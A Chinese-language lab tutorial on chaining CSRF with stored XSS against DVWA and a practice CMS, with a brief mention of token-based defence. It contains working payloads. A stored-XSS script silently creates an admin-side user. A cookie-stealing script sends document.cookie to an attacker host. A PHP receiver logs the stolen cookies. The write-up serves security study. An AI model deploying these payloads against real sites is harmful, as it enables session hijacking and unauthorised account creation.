csrf+xss组合拳
目录
一、环境
DVWA网上找
二、简单介绍
这个漏洞很早之前了,但是为了避免大家在面试等等的时候被问到,这里给大家温习一下
CSRF全程是没有黑客参与的,全程都是用户自己在操作
三、环境演练
这个是DVWA的提交表单页面,我这里伪造一个和它一模一样的表单
我自己写好一个表单
做一些短链接,做一些被攻击者喜欢的名字,被攻击者点击的时候cookie值是有效的,直接自己把自己的密码就改掉了
四、防御
但是这个也是很好防御的在当下环境下根本不会出现,加一个token值即可,比如我们的京东
五、环境搭建
靶场cms文章管理系统
六、流程开始
这是系统前端
系统管理后台
而我们要打到后台管理员的cookie,结合前端存储型的xss完全可以实现,那后端怎么被打到cookie呢,我们来从这里添加用户开始分析数据包来说明
看看数据包。其中提交的字段是act=add(添加),username、password
那我们通过编写恶意js
<script>
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", "http://192.168.137.45/cms/cms/admin/user.action.php", false);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=waou&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>
寻找前端存储型xss,在这里留言板
去后台查看很明显插入了
我们把我书写的恶意js插入进去,这段恶意js创建的是waou用户,插入看看吧
插入成功
看看结果waou是否被创建
成功,不一定添加管理员,也可以盗取cookie,这个漏洞的最大问题还是存储型漏洞,这个框架也没用csrf防御的tokle值,所以导致管理员点击后直接创建新管理员
盗取cookie:
<script>
var cookie = document.cookie;
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://192.168.137.45/ceshi/cookie.php?cookie=" + encodeURIComponent(cookie), true);
xhr.send();
</script>
攻击机192.168.137.45接收
<?php
if (isset($_GET['cookie'])) {
$cookie = $_GET['cookie'];
$file = 'cookie.txt';
if (file_put_contents($file, $cookie) !== false) {
echo "Cookie has been saved to cookie.txt";
} else {
echo "Failed to save cookie.";
}
} else {
echo "No cookie received.";
}
?>
访问之后可以看到cookie已经被盗取